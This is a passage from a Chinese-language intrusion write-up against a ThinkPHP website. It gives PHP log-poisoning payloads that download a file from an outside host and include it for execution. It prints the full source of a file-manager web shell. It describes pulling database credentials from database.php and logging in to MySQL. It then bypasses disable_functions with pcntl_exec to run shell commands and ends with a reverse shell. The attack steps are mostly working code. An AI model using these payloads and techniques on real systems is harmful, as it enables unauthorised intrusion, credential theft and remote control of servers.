<?=file_put_contents('./filemanager.php',file_get_contents('https://0edf7639.w1n.pw/filemanager.php'));?>

8.png 

代码插⼊日志成功:



9.png
 

然后包含日志文件,成功执行恶意代码,往 public ⽬录下写入了一个恶意 php ⽂件:

10.png
  



为了了适应⽬标网站的沙盒,这里预备写的恶意⽂件实际上是个纯⽂件管理 shell,只能执行⽂件相关的 操作(读写文件、创建目录、删文件⽬录等)。 临时写的,⾮常简陋,源码在如下:

<?php

$mode = $_REQUEST['mode'];

if (strtoupper($mode) == 'READ') {
    $path = $_REQUEST['filename'];

    if (is_dir($path)) {
        $filenames = scandir($path);

        printf("Files of $path :\r\n\r\n");
        foreach ($filenames as $filename) {
            if (is_dir($path . DIRECTORY_SEPARATOR . $filename)) {
                printf("% -65s [dir]\r\n", $filename);
            }
            else {
                printf("% -70s\r\n", $filename);
            }
        }
    }
    else {
        $filecontent = file_get_contents($path);
        echo $filecontent;
    }
}

elseif (strtoupper($mode) == 'WRITE') {
    $filename = $_REQUEST['filename'];
    $content = $_REQUEST['content'];
    if (file_put_contents($filename, $content)) {
        echo 'write success.';
    }
    else {
        echo 'write fail.';
    }
}

elseif (strtoupper($mode) == 'MKDIR') {
    $dir = $_REQUEST['dir'];
    if (mkdir($dir)) {
        echo 'mkdir success.';
    }
    else {
        echo 'mkdir fail.';
    }
}

elseif (strtoupper($mode) == 'RM') {
    $filename = $_REQUEST['filename'];
    if (is_file($filename)) {
        if (unlink($filename)) {
            echo 'rm file success.';
        }
        else {
            echo 'rm file fail.';
        }
    }
    elseif (is_dir($filename)) {
        if (rmdir($filename)) {
            echo 'rm dir success.';
        }
        else {
            echo 'rm dir fail';
        }
    }
    else {
        echo 'unknown error, file may not exist.';
    }
}

else {
    echo "wrong mode.";
}

于是当我本地测试没问题后,再准备在目标上测试时,发现竟然连 web 目录写文件的权限都没有:



11.png
 

好吧,权限也限制地比较死,那就还是往 tp ⽇志⽬目录下写文件吧(由于前面写过的日志代码执⾏失败导致后续写入的代码不会执行,所以又等到第二天生成新的⽇志⽂件再来包含): 通过 url 写⼊日志的代码:

<?=file_put_contents('../runtime/log/201901/00.log',file_get_contents('https://0edf7639.w1n.pw/filemanager.php'));?>

然后通过文件包含来执行我们的纯⽂件管理 shell,⽐如列出当前目录:

12.png  

 通过读 application ⽬录下的 database.php,拿到了数据库的账号密码:



 13.png 

⽬标虽然用了 cdn,但是通过 file_get_contents 往外发⼀一个请求,就可以确定真实 ip,对真实 ip 扫 描,发现开 了了 3306 端⼝,所以试了下读出来的账号密码,直接连上去了:

14.png
 

由于目标还对外开了 ssh 端口,所以又试着翻了下服务器上的⽂件,试图找到账号密码直接 ssh 连上去,简单查找后未果。 



思路重新回到目标 php 环境的禁⽤用函数上来。



由于现在我通过写⼊的文件管理 shell 和任意⽂件包含, 已经能执行除了禁用函数外的任意 php 代码,不过之前没怎么搞过 php 沙盒逃逸或禁用函数绕过之类的,于是请教了p师傅来做了下这方面的指导。 



先看了 php info,但 php info 里没有什么关于禁用函数方⾯有价值的信息:

 

 15.png  

所以试试执⾏:

 

<?phpvar_dump(ini_get('disable_functions'));

来查看禁用的函数有哪些,得到结果:



16.png
 

即这些函数被禁用:

 

passthru
exec
system 
chroot 
chgrp 
chown 
shell_exec
popen
ini_alter
ini_restore
dl
openlog
syslog
readlink
symlink
popepassthru



黑名单过滤,可以用 pcntl_exec 来绕过。 再利用前面写入的⽂件管理 shell 往 /tmp/ ⽬录下写一个 sh脚本,即要执行的命令:

#!/bin/bash 
id > /tmp/success

 



再来执行 PHP 代码:

<?php 
switch (pcntl_fork()) {
  case 0:
    pcntl_exec('/bin/bash', ['/tmp/exec.sh']);
    exit(0);

  default:
break; }

如果命令执行成功, id 命令的结果会保存在 /tmp/success 下,于是尝试读取:



 17.png  

最后重复上述步骤,改成执行反弹 shell 的命令:



18.png 

文章作者:露娜是真的秀 地址:https://wsrc.weibo.com/load_detail_article/70


admin 发布于  2019-6-11 18:52